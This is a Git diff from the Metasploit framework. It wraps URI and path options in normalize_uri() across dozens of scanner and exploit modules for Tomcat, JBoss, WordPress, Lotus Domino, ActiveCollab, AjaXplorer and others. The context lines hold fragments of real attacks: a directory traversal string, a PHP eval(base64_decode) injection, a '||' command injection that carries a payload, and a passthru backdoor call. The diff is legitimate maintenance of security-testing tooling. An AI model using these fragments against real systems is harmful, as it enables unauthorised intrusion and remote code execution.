vprint_error("http://#{rhost}:#{rport}#{uri} [#{srvhdr}] [Tomcat Application Manager] failed to login as '#{user}'")
return
end
end

2
modules/auxiliary/scanner/http/trace_axd.rb
View File

@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary
end
def run_host(target_host)
tpath = datastore['PATH']
tpath = normalize_uri(datastore['PATH'])
if tpath[-1,1] != '/'
tpath += '/'
end

2
modules/auxiliary/scanner/http/vcms_login.rb
View File

@ -108,7 +108,7 @@ class Metasploit3 < Msf::Auxiliary
end
def run
@uri = target_uri
@uri = normalize_uri(target_uri)
@uri.path << "/" if @uri.path[-1, 1] != "/"
@peer = "#{rhost}:#{rport}"

4
modules/auxiliary/scanner/http/verb_auth_bypass.rb
View File

@ -48,7 +48,7 @@ class Metasploit3 < Msf::Auxiliary
begin
res = send_request_raw({
'uri' => datastore['PATH'],
'uri' => normalize_uri(datastore['PATH']),
'method' => 'GET'
}, 10)
@ -71,7 +71,7 @@ class Metasploit3 < Msf::Auxiliary
verbs.each do |tv|
resauth = send_request_raw({
'uri' => datastore['PATH'],
'uri' => normalize_uri(datastore['PATH']),
'method' => tv
}, 10)

4
modules/auxiliary/scanner/http/vhost_scanner.rb
View File

@ -80,7 +80,7 @@ require 'cgi'
begin
noexistsres = send_request_cgi({
'uri' => datastore['PATH'],
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => tquery,
'headers' => thead,
'vhost' => randhost,
@ -110,7 +110,7 @@ require 'cgi'
begin
res = send_request_cgi({
'uri' => datastore['PATH'],
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => tquery,
'headers' => thead,
'vhost' => thost,

2
modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb
View File

@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
fname = File.basename(datastore['FILE'])
traversal = ".\\..\\..\\..\\..\\..\\..\\..\\"
uri = datastore['URIPATH'] + traversal + datastore['FILE']
uri = normalize_uri(datastore['URIPATH'])+ '/' + traversal + datastore['FILE']
print_status("#{rhost}:#{rport} - Requesting: #{uri}")

2
modules/auxiliary/scanner/http/web_vulndb.rb
View File

@ -53,7 +53,7 @@ class Metasploit3 < Msf::Auxiliary
conn = false
usecode = datastore['ForceCode']
tpath = datastore['PATH']
tpath = normalize_uri(datastore['PATH'])
if tpath[-1,1] != '/'
tpath += '/'
end

2
modules/auxiliary/scanner/http/webdav_internal_ip.rb
View File

@ -36,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary
begin
res = send_request_cgi({
'uri' => datastore['PATH'],
'uri' => normalize_uri(datastore['PATH']),
'method' => 'PROPFIND',
'data' => '',
'ctype' => 'text/xml',

2
modules/auxiliary/scanner/http/webdav_scanner.rb
View File

@ -36,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary
begin
res = send_request_raw({
'uri' => datastore['PATH'],
'uri' => normalize_uri(datastore['PATH']),
'method' => 'OPTIONS'
}, 10)

2
modules/auxiliary/scanner/http/webdav_website_content.rb
View File

@ -36,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary
begin
res = send_request_cgi({
'uri' => datastore['PATH'],
'uri' => normalize_uri(datastore['PATH']),
'method' => 'PROPFIND',
'data' => '',
'ctype' => 'text/xml',

3
modules/auxiliary/scanner/http/webpagetest_traversal.rb
View File

@ -49,7 +49,8 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
file = (datastore['FILE'][0,1] == '/') ? datastore['FILE'] : "/#{datastore['FILE']}"
traverse = "../" * datastore['DEPTH']
base = File.dirname("#{target_uri.path}/.")
uri = normalize_uri(target_uri.path)
base = File.dirname("#{uri}/.")
print_status("Requesting: #{file} - #{rhost}")
res = send_request_cgi({

7
modules/auxiliary/scanner/http/wordpress_login_enum.rb
View File

@ -45,7 +45,8 @@ class Metasploit3 < Msf::Auxiliary
end
def target_url
"http://#{vhost}:#{rport}#{datastore['URI']}"
uri = normalize_uri(datastore['URI'])
"http://#{vhost}:#{rport}#{uri}"
end
@ -106,7 +107,7 @@ class Metasploit3 < Msf::Auxiliary
res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['URI'],
'uri' => normalize_uri(datastore['URI']),
'data' => post_data,
}, 20)
@ -162,7 +163,7 @@ class Metasploit3 < Msf::Auxiliary
res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['URI'],
'uri' => normalize_uri(datastore['URI']),
'data' => post_data,
}, 20)

2
modules/auxiliary/scanner/http/xpath.rb
View File

@ -60,7 +60,7 @@ class Metasploit3 < Msf::Auxiliary
falsecond = "'%20and%20'#{rnum}'='#{rnum+1}"
hmeth = datastore['METHOD']
tpath = datastore['PATH']
tpath = normalize_uri(datastore['PATH'])
prequery = datastore['PRE_QUERY']
postquery = datastore['POST_QUERY']
emesg = datastore['ERROR_MSG']

2
modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb
View File

@ -34,7 +34,7 @@ class Metasploit3 < Msf::Auxiliary
user = datastore['NOTES_USER'].to_s
pass = datastore['NOTES_PASS'].to_s
$uri = datastore['URI'].to_s
$uri = normalize_uri(datastore['URI'])
if (user.length == 0 and pass.length == 0)
print_status("http://#{vhost}:#{rport} - Lotus Domino - Trying dump password hashes without credentials")

2
modules/auxiliary/scanner/lotus/lotus_domino_version.rb
View File

@ -28,7 +28,7 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
path = datastore['PATH']
path = normalize_uri(datastore['PATH'])
check1 = [
'iNotes/Forms5.nsf',
'iNotes/Forms6.nsf',

2
modules/auxiliary/scanner/vmware/esx_fingerprint.rb
View File

@ -46,7 +46,7 @@ class Metasploit3 < Msf::Auxiliary
</env:Envelope>|
begin
res = send_request_cgi({
'uri' => datastore['URI'],
'uri' => normalize_uri(datastore['URI']),
'method' => 'POST',
'agent' => 'VMware VI Client',
'data' => soap_data,

2
modules/auxiliary/scanner/vmware/vmware_http_login.rb
View File

@ -76,7 +76,7 @@ class Metasploit3 < Msf::Auxiliary
begin
res = send_request_cgi({
'uri' => datastore['URI'],
'uri' => normalize_uri(datastore['URI']),
'method' => 'POST',
'agent' => 'VMware VI Client',
'data' => soap_data

2
modules/auxiliary/server/http_ntlmrelay.rb
View File

@ -298,7 +298,7 @@ class Metasploit3 < Msf::Auxiliary
end
opts = {
'uri' => datastore['RURIPATH'],
'uri' => normalize_uri(datastore['RURIPATH']),
'method' => method,
'version' => '1.1',
}

4
modules/exploits/bsdi/softcart/mercantec_softcart.rb
View File

@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote
def brute_exploit(address)
if not (@mercantec)
res = send_request_raw({
'uri' => datastore['URI']
'uri' => normalize_uri(datastore['URI'])
}, 5)
@mercantec = (res and res.body and res.body =~ /Copyright.*Mercantec/)
fail_with(Exploit::Failure::NotFound, "The target is not a Mercantec CGI") if not @mercantec
@ -85,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Trying #{"%.8x" % address['Ret']}...")
res = send_request_raw({
'uri' => datastore['URI'],
'uri' => normalize_uri(datastore['URI']),
'query' => buffer
}, 5)

5
modules/exploits/linux/http/dolibarr_cmd_exec.rb
View File

@ -60,9 +60,10 @@ class Metasploit3 < Msf::Exploit::Remote
end
def check
uri = normalize_uri(target_uri.path)
res = send_request_raw({
'method' => 'GET',
'uri' => target_uri.path
'uri' => uri
})
if res and res.body =~ /Dolibarr 3\.1\.1/
@ -113,7 +114,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def exploit
@uri = target_uri
@uri = normalize_uri(target_uri)
@uri.path << "/" if @uri.path[-1, 1] != "/"
peer = "#{rhost}:#{rport}"

2
modules/exploits/linux/http/symantec_web_gateway_exec.rb
View File

@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def exploit
uri = target_uri.path
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
peer = "#{rhost}:#{rport}"

2
modules/exploits/linux/http/symantec_web_gateway_file_upload.rb
View File

@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def exploit
uri = target_uri.path
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
peer = "#{rhost}:#{rport}"

5
modules/exploits/linux/http/vcms_upload.rb
View File

@ -62,8 +62,9 @@ class Metasploit3 < Msf::Exploit::Remote
end
def check
uri = normalize_uri(target_uri.path)
res = send_request_raw({
'uri' => target_uri.path,
'uri' => uri,
'method' => 'GET'
})
@ -77,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
peer = "#{rhost}:#{rport}"
base = target_uri.path
base = normalize_uri(target_uri.path)
base << '/' if base[-1,1] != '/'
@payload_name = "#{rand_text_alpha(5)}.php"

4
modules/exploits/linux/http/webcalendar_settings_exec.rb
View File

@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def check
uri = target_uri.path
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1, 1] != '/'
res = send_request_raw({
@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
peer = "#{rhost}:#{rport}"
uri = target_uri.path
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1, 1] != '/'
print_status("#{peer} - Housing php payload...")

4
modules/exploits/linux/http/webid_converter.rb
View File

@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def check
uri = target_uri.path
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
res = send_request_cgi({
@ -122,7 +122,7 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
uri = target_uri.path
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
peer = "#{rhost}:#{rport}"

20
modules/exploits/multi/http/activecollab_chat.rb
View File

@ -55,13 +55,13 @@ class Metasploit3 < Msf::Exploit::Remote
def check
login_path = "public/index.php?path_info=login&re_route=homepage"
uri = datastore['URI']
uri += (datastore['URI'][-1, 1] == "/") ? login_path : "/#{login_path}"
uri = normalize_uri(datastore['URI'])
uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? login_path : "/#{login_path}"
cms = send_request_raw({'uri' => uri}, 25)
uri = datastore['URI']
uri += (datastore['URI'][-1, 1] == "/") ? 'public/assets/modules/chat/' : '/public/assets/modules/chat/'
uri = normalize_uri(datastore['URI'])
uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? 'public/assets/modules/chat/' : '/public/assets/modules/chat/'
chat = send_request_raw({'uri' => uri}, 25)
@ -80,8 +80,8 @@ class Metasploit3 < Msf::Exploit::Remote
pass = datastore['PASS']
p = Rex::Text.encode_base64(payload.encoded)
header = rand_text_alpha_upper(3)
login_uri = datastore['URI']
login_uri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php?path_info=login' : '/public/index.php?path_info=login'
login_uri = normalize_uri(datastore['URI'])
login_uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? 'public/index.php?path_info=login' : '/public/index.php?path_info=login'
# login
res = send_request_cgi({
@ -107,8 +107,8 @@ class Metasploit3 < Msf::Exploit::Remote
end
# injection
iuri = datastore['URI']
iuri += (datastore['URI'][-1, 1] == "/") ? 'index.php' : '/index.php'
iuri = normalize_uri(datastore['URI'])
iuri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? 'index.php' : '/index.php'
iuri << "?path_info=chat/add_message&async=1"
phpkode = "{\${eval(base64_decode(\$_SERVER[HTTP_#{header}]))}}"
injection = "<th>\");#{phpkode}</th>"
@ -129,8 +129,8 @@ class Metasploit3 < Msf::Exploit::Remote
}
}, 25)
euri = datastore['URI']
euri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php' : '/public/index.php'
euri = normalize_uri(datastore['URI'])
euri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? 'public/index.php' : '/public/index.php'
euri << "?path_info=/chat/history/1"
# execution

10
modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb
View File

@ -57,12 +57,13 @@ class Metasploit3 < Msf::Exploit::Remote
end
def check
target_uri.path << '/' if target_uri.path[-1,1] != '/'
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
clue = Rex::Text::rand_text_alpha(rand(5) + 5)
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{target_uri.path}plugins/access.ssh/checkInstall.php",
'uri' => "#{uri}plugins/access.ssh/checkInstall.php",
'vars_get' => {
'destServer' => "||echo #{clue}"
}
@ -78,12 +79,13 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
peer = "#{rhost}:#{rport}"
target_uri.path << '/' if target_uri.path[-1,1] != '/'
uri = normalize_uri(target_uri.path)
uri << '/' if target_uri.path[-1,1] != '/'
# Trigger the command execution bug
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{target_uri.path}plugins/access.ssh/checkInstall.php",
'uri' => "#{uri}plugins/access.ssh/checkInstall.php",
'vars_get' =>
{
'destServer' => "||#{payload.encoded}"

4
modules/exploits/multi/http/apprain_upload_exec.rb
View File

@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def check
uri = target_uri.path
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
res = send_request_cgi({
@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def exploit
uri = target_uri.path
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
peer = "#{rhost}:#{rport}"

10
modules/exploits/multi/http/auxilium_upload_exec.rb
View File

@ -56,8 +56,9 @@ class Metasploit3 < Msf::Exploit::Remote
def check
target_uri.path << '/' if target_uri.path[-1,1] != '/'
base = File.dirname("#{target_uri.path}.")
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
base = File.dirname("#{uri}.")
res = send_request_raw({'uri'=>"#{base}/admin/sitebanners/upload_banners.php"})
if res and res.body =~ /\<title\>Pet Rate Admin \- Banner Manager\<\/title\>/
@ -106,8 +107,9 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
@peer = "#{rhost}:#{rport}"
target_uri.path << '/' if target_uri.path[-1,1] != '/'
base = File.dirname("#{target_uri.path}.")
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
base = File.dirname("#{uri}.")
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"

4
modules/exploits/multi/http/cuteflow_upload_exec.rb
View File

@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote
def check
base = target_uri.path
base = normalize_uri(target_uri.path)
base << '/' if base[-1, 1] != '/'
res = send_request_raw({
'method' => 'GET',
@ -99,7 +99,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def exploit
base = target_uri.path
base = normalize_uri(target_uri.path)
base << '/' if base[-1, 1] != '/'
@peer = "#{rhost}:#{rport}"

8
modules/exploits/multi/http/familycms_less_exec.rb
View File

@ -57,8 +57,8 @@ class Metasploit3 < Msf::Exploit::Remote
end
def check
uri = datastore['URI']
uri += (datastore['URI'][-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"
uri = normalize_uri(datastore['URI'])
uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"
mark = Rex::Text.rand_text_alpha(rand(5) + 5)
@ -75,8 +75,8 @@ class Metasploit3 < Msf::Exploit::Remote
end
def exploit
uri = datastore['URI']
uri += (datastore['URI'][-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"
uri = normalize_uri(datastore['URI'])
uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"
start_mark = Rex::Text.rand_text_alpha(rand(5) + 5)
end_mark = Rex::Text.rand_text_alpha(rand(5) + 5)

10
modules/exploits/multi/http/gitorious_graph.rb
View File

@ -54,15 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
# Make sure the URI begins with a slash
uri = datastore['URI']
if uri[0,1] != '/'
uri = '/' + uri
end
# Make sure the URI ends without a slash, because it's already part of the URI
if uri[-1, 1] == '/'
uri = uri[0, uri.length-1]
end
uri = normalize_uri(datastore['URI'])
command = Rex::Text.uri_encode(payload.raw, 'hex-all')
command.gsub!("%20","%2520")

2
modules/exploits/multi/http/glassfish_deployer.rb
View File

@ -734,7 +734,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def my_target_host
path = datastore['PATH']
path = normalize_uri(datastore['PATH'])
my_target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}"
end

10
modules/exploits/multi/http/horde_href_backdoor.rb
View File

@ -59,15 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
# Make sure the URI begins with a slash
uri = datastore['URI']
if uri[0,1] != '/'
uri = '/' + uri
end
# Make sure the URI ends without a slash, because it's already part of the URI
if uri[-1, 1] == '/'
uri = uri[0, uri.length-1]
end
uri = normalize_uri(datastore['URI'])
function = "passthru"
key = Rex::Text.rand_text_alpha(6)

2
modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb
View File

@ -87,7 +87,7 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
@peer = "#{rhost}:#{rport}"
@uri = target_uri.path
@uri = normalize_uri(target_uri.path)
@uri << '/' if @uri[-1,1] != '/'
# Create user with empty credentials

6
modules/exploits/multi/http/jboss_bshdeployer.rb
View File

@ -391,7 +391,7 @@ EOT
end
def query_serverinfo
path = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'
path = normalize_uri(datastore['PATH']) + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'
res = send_request_raw(
{
'uri' => path,
@ -449,13 +449,13 @@ EOT
if (datastore['VERB']== "POST")
res = send_request_cgi({
'method' => datastore['VERB'],
'uri' => datastore['PATH'] + '/HtmlAdaptor',
'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor',
'data' => params
})
else
res = send_request_cgi({
'method' => datastore['VERB'],
'uri' => datastore['PATH'] + '/HtmlAdaptor?' + params
'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor?' + params
}, 30)
end
res

10
modules/exploits/multi/http/jboss_deploymentfilerepository.rb
View File

@ -277,14 +277,14 @@ EOT
if (datastore['VERB'] == "POST")
res = send_request_cgi(
{
'uri' => datastore['PATH'] + '/HtmlAdaptor',
'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor',
'method' => datastore['VERB'],
'data' => data
}, 5)
else
res = send_request_cgi(
{
'uri' => datastore['PATH'] + '/HtmlAdaptor?' + data,
'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor?' + data,
'method' => datastore['VERB'],
}, 30)
end
@ -308,14 +308,14 @@ EOT
if (datastore['VERB'] == "POST")
res = send_request_cgi(
{
'uri' => datastore['PATH'] + '/HtmlAdaptor',
'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor',
'method' => datastore['VERB'],
'data' => data
}, 5)
else
res = send_request_cgi(
{
'uri' => datastore['PATH'] + '/HtmlAdaptor;index.jsp?' + data,
'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor;index.jsp?' + data,
'method' => datastore['VERB'],
}, 30)
end
@ -378,7 +378,7 @@ EOT
def query_serverinfo
path = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'
path = normalize_uri(datastore['PATH']) + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'
res = send_request_raw(
{
'uri' => path,

2
modules/exploits/multi/http/jboss_invoke_deploy.rb
View File

@ -232,7 +232,7 @@ EOT
replace_params.each { |key, value| data.gsub!(key, value) }
res = send_request_cgi({
'uri' => target_uri.path,
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'data' => data,
'headers' =>

8
modules/exploits/multi/http/jboss_maindeployer.rb
View File

@ -176,7 +176,7 @@ class Metasploit3 < Msf::Exploit::Remote
if (datastore['VERB'] == "POST")
res = send_request_cgi({
'method' => datastore['VERB'],
'uri' => datastore['PATH'] + '/HtmlAdaptor',
'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor',
'vars_post' =>
{
'action' => 'invokeOpByName',
@ -189,7 +189,7 @@ class Metasploit3 < Msf::Exploit::Remote
else
res = send_request_cgi({
'method' => datastore['VERB'],
'uri' => datastore['PATH'] + '/HtmlAdaptor',
'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor',
'vars_get' =>
{
'action' => 'invokeOpByName',
@ -275,7 +275,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Undeploying #{app_base} ...")
res = send_request_cgi({
'method' => datastore['VERB'],
'uri' => datastore['PATH'] + '/HtmlAdaptor',
'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor',
'vars_post' =>
{
'action' => 'invokeOpByName',
@ -314,7 +314,7 @@ class Metasploit3 < Msf::Exploit::Remote
def query_serverinfo
path = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'
path = normalize_uri(datastore['PATH']) + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'
res = send_request_raw(
{
'uri' => path

9
modules/exploits/multi/http/lcms_php_exec.rb
View File

@ -60,12 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def target_url
uri = datastore['URI']
# Make sure uri begins with '/'
if uri[0] != '/'
uri = '/' + uri
end
uri = normalize_uri(datastore['URI'])
# Extract two things:
# 1. The file path (/index.php), including the base
@ -81,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote
if base.empty? or fname.empty? or params.empty?
res = send_request_cgi({
'method' => 'GET',
'uri' => datastore['URI']
'uri' => normalize_uri(datastore['URI'])
}, 20)
if res and res.code == 200

4
modules/exploits/multi/http/log1cms_ajax_create_folder.rb
View File

@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote
def check
uri = target_uri.path
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1, 1] != '/'
res = send_request_raw({
@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
uri = target_uri.path
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1, 1] != '/'
peer = "#{rhost}:#{rport}"

Some files were not shown because too many files have changed in this diff Show More